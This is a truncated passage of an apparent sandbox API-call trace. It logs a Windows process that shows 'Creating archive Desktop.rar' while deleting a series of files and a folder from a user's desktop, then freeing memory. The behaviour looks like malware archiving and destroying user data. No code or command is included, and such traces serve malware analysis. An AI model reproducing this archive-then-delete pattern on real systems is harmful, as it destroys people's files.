SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.673] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.673] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="YEeHQp1lME uExplJtB3.flv") returned 24 [0066.673] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.673] GetTickCount () returned 0xa66f97 [0066.673] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95191943524) returned 1 [0066.674] GetTickCount () returned 0xa66fa6 [0066.674] GetTickCount () returned 0xa66fa6 [0066.674] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0066.675] GetMessageW (in: lpMsg=0x1bd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd540) returned 1 [0066.675] GetFocus () returned 0x10232 [0066.675] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd540) returned 1 [0066.675] DeleteFileW (lpFileName="dfxuFxjX5YwdPMIH\\OsbsjTTafsX31mSiaRnW.ppt" (normalized: "c:\\users\\whuoxysd\\desktop\\dfxufxjx5ywdpmih\\osbsjttafsx31msiarnw.ppt")) returned 1 [0066.675] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.675] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.675] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.675] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.675] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.676] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.676] SetWindowTextW (hWnd=0x10216, lpString="OsbsjTTafsX31mSiaRnW.ppt") returned 1 [0066.676] GetTickCount () returned 0xa66fa6 [0066.676] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.676] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.676] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.676] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.676] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="OsbsjTTafsX31mSiaRnW.ppt") returned 24 [0066.676] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.676] GetTickCount () returned 0xa66fa6 [0066.676] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95192163174) returned 1 [0066.676] GetTickCount () returned 0xa66fa6 [0066.676] GetTickCount () returned 0xa66fa6 [0066.676] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.676] DeleteFileW (lpFileName="dfxuFxjX5YwdPMIH\\2A58ceH2t.png" (normalized: "c:\\users\\whuoxysd\\desktop\\dfxufxjx5ywdpmih\\2a58ceh2t.png")) returned 1 [0066.677] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.677] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.677] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.677] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.677] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.677] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.677] SetWindowTextW (hWnd=0x10216, lpString="2A58ceH2t.png") returned 1 [0066.677] GetTickCount () returned 0xa66fa6 [0066.677] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.677] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.677] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.677] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.677] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="2A58ceH2t.png") returned 13 [0066.677] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.678] GetTickCount () returned 0xa66fa6 [0066.678] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95192302292) returned 1 [0066.678] GetTickCount () returned 0xa66fa6 [0066.678] GetTickCount () returned 0xa66fa6 [0066.678] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.678] RemoveDirectoryW (lpPathName="dfxuFxjX5YwdPMIH" (normalized: "c:\\users\\whuoxysd\\desktop\\dfxufxjx5ywdpmih")) returned 1 [0066.768] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.768] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.768] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.768] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.769] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.769] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.769] SetWindowTextW (hWnd=0x10216, lpString="dfxuFxjX5YwdPMIH") returned 1 [0066.769] GetTickCount () returned 0xa67004 [0066.769] UpdateWindow (hWnd=0x1020e) returned 1 [0066.769] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.769] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.769] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.769] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.769] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="dfxuFxjX5YwdPMIH") returned 16 [0066.769] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.769] GetTickCount () returned 0xa67004 [0066.769] GetLastError () returned 0x5 [0066.769] SetLastError (dwErrCode=0x5) [0066.769] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0066.769] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0066.769] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 25%") returned 5 [0066.769] SetWindowTextW (hWnd=0x10218, lpString=" 80%") returned 1 [0066.770] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x50, lParam=0x0) returned 0x19 [0066.770] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95201510897) returned 1 [0066.770] GetTickCount () returned 0xa67004 [0066.770] GetTickCount () returned 0xa67004 [0066.770] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0066.770] GetMessageW (in: lpMsg=0x1bd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd540) returned 1 [0066.770] GetFocus () returned 0x10232 [0066.770] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd540) returned 1 [0066.770] SetFileAttributesW (lpFileName="desktop.ini", dwFileAttributes=0x0) returned 1 [0066.771] DeleteFileW (lpFileName="desktop.ini" (normalized: "c:\\users\\whuoxysd\\desktop\\desktop.ini")) returned 1 [0066.771] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.771] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.771] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.771] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.771] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.771] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.771] SetWindowTextW (hWnd=0x10216, lpString="desktop.ini") returned 1 [0066.772] GetTickCount () returned 0xa67004 [0066.772] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.772] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.772] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.772] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.772] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="desktop.ini") returned 11 [0066.772] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.772] GetTickCount () returned 0xa67004 [0066.772] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95201750758) returned 1 [0066.772] GetTickCount () returned 0xa67004 [0066.772] GetTickCount () returned 0xa67004 [0066.772] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0066.772] GetMessageW (in: lpMsg=0x1bd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd540) returned 1 [0066.772] GetFocus () returned 0x10232 [0066.772] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd540) returned 1 [0066.772] DeleteFileW (lpFileName="czSQaVnIQO 0LFtEP.flv" (normalized: "c:\\users\\whuoxysd\\desktop\\czsqavniqo 0lftep.flv")) returned 1 [0066.773] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.773] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.773] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.773] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.773] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.773] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.773] SetWindowTextW (hWnd=0x10216, lpString="czSQaVnIQO 0LFtEP.flv") returned 1 [0066.773] GetTickCount () returned 0xa67004 [0066.773] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.774] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.774] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.774] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.774] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="czSQaVnIQO 0LFtEP.flv") returned 22 [0066.774] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.774] GetTickCount () returned 0xa67004 [0066.774] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95201960184) returned 1 [0066.774] GetTickCount () returned 0xa67004 [0066.774] GetTickCount () returned 0xa67004 [0066.774] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0066.774] GetMessageW (in: lpMsg=0x1bd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd540) returned 1 [0066.774] GetFocus () returned 0x10232 [0066.774] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd540) returned 1 [0066.774] DeleteFileW (lpFileName="CjID.mp3" (normalized: "c:\\users\\whuoxysd\\desktop\\cjid.mp3")) returned 1 [0066.775] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.775] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.775] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.775] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.775] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.775] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.775] SetWindowTextW (hWnd=0x10216, lpString="CjID.mp3") returned 1 [0066.775] GetTickCount () returned 0xa67004 [0066.775] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.775] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.775] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.776] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.776] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="CjID.mp3") returned 8 [0066.776] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.776] GetTickCount () returned 0xa67004 [0066.776] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95202120673) returned 1 [0066.776] GetTickCount () returned 0xa67004 [0066.776] GetTickCount () returned 0xa67004 [0066.776] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.776] DeleteFileW (lpFileName="AVuWJQwE5di201z9 d.ots" (normalized: "c:\\users\\whuoxysd\\desktop\\avuwjqwe5di201z9 d.ots")) returned 1 [0066.777] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.777] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.777] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.777] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.777] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.777] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.777] SetWindowTextW (hWnd=0x10216, lpString="AVuWJQwE5di201z9 d.ots") returned 1 [0066.777] GetTickCount () returned 0xa67004 [0066.777] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.777] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.777] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.777] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.777] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="AVuWJQwE5di201z9 d.ots") returned 22 [0066.777] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.778] GetTickCount () returned 0xa67004 [0066.778] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95202299667) returned 1 [0066.778] GetTickCount () returned 0xa67004 [0066.778] GetTickCount () returned 0xa67004 [0066.778] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.778] DeleteFileW (lpFileName="8ZCScAn2t4O2J7-d.doc" (normalized: "c:\\users\\whuoxysd\\desktop\\8zcscan2t4o2j7-d.doc")) returned 1 [0066.778] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.778] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.778] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.778] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.779] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.779] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.779] SetWindowTextW (hWnd=0x10216, lpString="8ZCScAn2t4O2J7-d.doc") returned 1 [0066.779] GetTickCount () returned 0xa67004 [0066.779] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.779] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.779] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.779] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.779] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="8ZCScAn2t4O2J7-d.doc") returned 20 [0066.779] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.779] GetTickCount () returned 0xa67004 [0066.779] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95202478691) returned 1 [0066.779] GetTickCount () returned 0xa67004 [0066.779] GetTickCount () returned 0xa67004 [0066.779] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.779] DeleteFileW (lpFileName="4XGIZDiLaaAzBLi8uMJ.gif" (normalized: "c:\\users\\whuoxysd\\desktop\\4xgizdilaaazbli8umj.gif")) returned 1 [0066.780] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.780] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.780] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.780] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.780] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.780] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.780] SetWindowTextW (hWnd=0x10216, lpString="4XGIZDiLaaAzBLi8uMJ.gif") returned 1 [0066.781] GetTickCount () returned 0xa67004 [0066.781] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.781] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.781] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.781] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.781] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="4XGIZDiLaaAzBLi8uMJ.gif") returned 23 [0066.781] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.781] GetTickCount () returned 0xa67004 [0066.781] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95202658126) returned 1 [0066.781] GetTickCount () returned 0xa67004 [0066.781] GetTickCount () returned 0xa67004 [0066.781] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.781] PeekMessageW (in: lpMsg=0x1bd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd610) returned 0 [0066.781] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.781] DeleteFileW (lpFileName="0SoXJeVDMd8XB.wav" (normalized: "c:\\users\\whuoxysd\\desktop\\0soxjevdmd8xb.wav")) returned 1 [0066.782] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.782] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.782] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.782] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.782] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.782] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.782] SetWindowTextW (hWnd=0x10216, lpString="0SoXJeVDMd8XB.wav") returned 1 [0066.782] GetTickCount () returned 0xa67013 [0066.782] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.782] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.782] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.783] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.783] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="0SoXJeVDMd8XB.wav") returned 17 [0066.783] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.783] GetTickCount () returned 0xa67013 [0066.783] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95202819176) returned 1 [0066.783] GetTickCount () returned 0xa67013 [0066.783] GetTickCount () returned 0xa67013 [0066.783] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x351360 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49010 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x299dc40 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49040 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3513d0 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49070 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x299dcc0 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c490a0 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x351440 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c490d0 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x299dd40 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49100 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x299ddc0 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49130 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36eaf0 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49160 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36eb80 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49190 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x299de40 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c491c0 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3514b0 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c491f0 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x299dec0 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49220 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x351520 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49250 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x351590 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49280 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x351600 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c492b0 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x351670 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c492e0 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3516e0 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49310 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x351750 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49340 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3517c0 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49370 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x351830 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c493a0 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3518a0 | out: hHeap=0x290000) returned 1 [0066.783] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c493d0 | out: hHeap=0x290000) returned 1 [0066.784] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x351910 | out: hHeap=0x290000) returned 1 [0066.784] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49400 | out: hHeap=0x290000) returned 1 [0066.784] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x351980 | out: hHeap=0x290000) returned 1 [0066.784] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49430 | out: hHeap=0x290000) returned 1 [0066.784] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x299df40 | out: hHeap=0x290000) returned 1 [0066.784] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49460 | out: hHeap=0x290000) returned 1 [0066.784] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ec10 | out: hHeap=0x290000) returned 1 [0066.784] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49490 | out: 